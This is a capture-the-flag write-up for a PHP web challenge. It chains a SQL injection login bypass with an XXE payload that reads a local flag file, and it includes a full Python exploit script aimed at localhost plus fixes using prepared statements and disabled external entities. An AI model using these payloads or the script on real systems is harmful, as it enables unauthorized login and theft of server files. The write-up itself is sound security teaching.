Skip to main content
s3cr3ct_w3b
  1. Posts/

s3cr3ct_w3b

Author
Stephen Waweru
Breaking binaries, not hearts. Unraveling the art of cybersecurity through detailed CTF writeups and explorations.
Table of Contents

The Challenge
#

The challenge presented us with a PHP web application that had authentication and an XML parser. The application consisted of a login system and an XML upload feature that would process user-submitted XML files.


// login.php - Vulnerable SQL query

$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";

  

// api.php - Vulnerable XML processing

$dom = new DOMDocument();

$dom->resolveExternals = true;

$dom->substituteEntities = true;

$dom->loadXML($xml, LIBXML_DTDLOAD | LIBXML_NOENT);

Target: http://localhost:9090

Initial Reconnaissance
#

First, let me show you what we’re working with. The application had these endpoints:

  • /login.php - User authentication with SQL injection vulnerability

    image

  • /index.php - Main application with XML upload functionality

  • /api.php - XML processing endpoint with XXE vulnerability

I started by exploring the application and noticed it used both SQL authentication and XML processing. The Docker setup revealed the flag location at /var/flags/flag.txt. This looked like a classic two-stage attack waiting to happen…

Quick Analysis of the Source Code
#

Here’s where the magic happens. Let me show you the critical vulnerability in the source code:


// login.php - Line 29

$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";

Direct String Concatenation: The application directly concatenates user input into the SQL query without any sanitization or prepared statements.

Why this is exploitable:

  • Direct string concatenation allows SQL injection

  • The ' character escapes out of the string literal

  • We can manipulate boolean logic to always return TRUE

The attack:

  1. Use ' OR '1'='1 in the username field

  2. This escapes the string and injects our SQL logic

  3. The '1'='1' condition is always TRUE

  4. We bypass authentication without valid credentials

Bottom line: The server executes our injected SQL as part of the query!

Forging the SQL Injection
#

Let’s start by crafting the SQL injection payload. Since we know the query structure, we can manipulate it to always return TRUE:


-- Original query:

SELECT * FROM users WHERE username = 'admin' AND password = 'password123'

  

-- With our injection:

SELECT * FROM users WHERE username = '' OR '1'='1' AND password = 'anything'

How the injection works:

  1. First ' - Closes the opening quote from the template

  2. OR '1'='1 - Injects our SQL logic (OR condition that’s always TRUE)

  3. Last ' - Opens a new quote that gets closed by the template’s closing quote

Boolean logic breakdown:

  • username = '' β†’ FALSE

  • '1'='1' β†’ TRUE (always)

  • password = 'anything' β†’ FALSE

  • FALSE OR TRUE AND FALSE β†’ TRUE (due to OR condition)

This creates a valid SQL query that always returns results, bypassing the authentication check.

The XXE Exploit
#

Now comes the real exploit. After bypassing authentication, I discovered the XML parser functionality. Let me show you the critical vulnerability in the XML processing code:

image


// api.php - Lines 26-30

$dom = new DOMDocument();

$dom->resolveExternals = true; // Allows external entities!

$dom->substituteEntities = true; // Substitutes entities!

$dom->loadXML($xml, LIBXML_DTDLOAD | LIBXML_NOENT);

External Entity Resolution Enabled: The application processes XML with external entity resolution enabled, allowing file system access through the file:// protocol.

Why this is exploitable:

  • External entity resolution is enabled

  • The file:// protocol allows reading local files

  • Entity substitution replaces our references with file contents

The attack:

  1. Create XML with external entity pointing to flag file

  2. Use entity reference to trigger file read

  3. The parser substitutes the entity with file contents

  4. We get the flag in the XML response

Bottom line: The server processes our malicious XML and reads local files!

Forging the XXE Payload
#

The XXE payload targets the flag file directly. Since we know the flag location from the Dockerfile, we can craft the perfect payload:


<!--?xml version="1.0" ?-->

<!DOCTYPE test [<!ENTITY hacker SYSTEM "file:///var/flags/flag.txt"> ]>

<root>

&hacker;

</root>

image

How the XXE works:

  1. DTD Definition: <!DOCTYPE test [<!ENTITY hacker SYSTEM "file:///var/flags/flag.txt"> ]>

  2. Entity Reference: &hacker; gets replaced with file contents

  3. File Access: The file:// protocol reads the local file

  4. Flag Location: Based on Dockerfile, flag is at /var/flags/flag.txt

The magic:

  • test is just a dummy name - could be anything

  • The [ ] brackets contain our entity definition

  • &hacker; triggers the entity substitution

  • The file contents replace our entity reference

This creates a valid XML document that reads and displays the flag file contents.

Time for Automation
#

Now comes the execution. I need to exploit both vulnerabilities in sequence because the application requires:

  1. SQL injection to bypass authentication
  2. XXE to read the flag file

Here’s my complete exploit script:

import requests

def exploit():
    print("starting exploit...")

    session = requests.Session()
    # Step 1: SQL Injection Login Bypass
    print("-" * 30)

    login_data = {"username": "' OR '1'='1' OR '1'='1", "password": "anything"}

    response = session.post(
        "http://localhost:9090/login.php", data=login_data, allow_redirects=True
    )

    print(response.status_code)

    # Step 2 : XXE
    xxe_payload = """<?xml version="1.0" ?>
    <!DOCTYPE test [<!ENTITY hacker SYSTEM "file:///var/flags/flag.txt"> ]>
			           <root>
    &hacker;
    </root>"""

    headers = {"Content-Type": "application/xml"}
    response = session.post(
        "http://localhost:9090/api.php", data=xxe_payload, headers=headers
    )
    print(response.text)

    if "QnQSec" in response.text:
        print("🚩Flag found!")


exploit()

Key Takeaways
#

This challenge was a perfect example of how multiple vulnerabilities can be chained together:

  1. SQL Injection: The root cause was direct string concatenation in SQL queries

  2. XXE Injection: External entity resolution allowed file system access

  3. Authentication Bypass: SQL injection led to complete authentication bypass

  4. File Read: XXE allowed reading arbitrary files including the flag

How to Fix This
#


// ❌ BAD - Direct concatenation

$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";

  

// βœ… GOOD - Prepared statements

$query = "SELECT * FROM users WHERE username = ? AND password = ?";

$stmt = $pdo->prepare($query);

$stmt->execute([$username, $password]);

// ❌ BAD - External entities enabled

$dom->resolveExternals = true;

$dom->substituteEntities = true;

  

// βœ… GOOD - External entities disabled

$dom->resolveExternals = false;

$dom->substituteEntities = false;

This was a perfect example of how multiple vulnerabilities can be chained together for complete system compromise. The key lesson here is that input validation and secure coding practices are critical - both vulnerabilities could have been prevented with proper security measures.


Related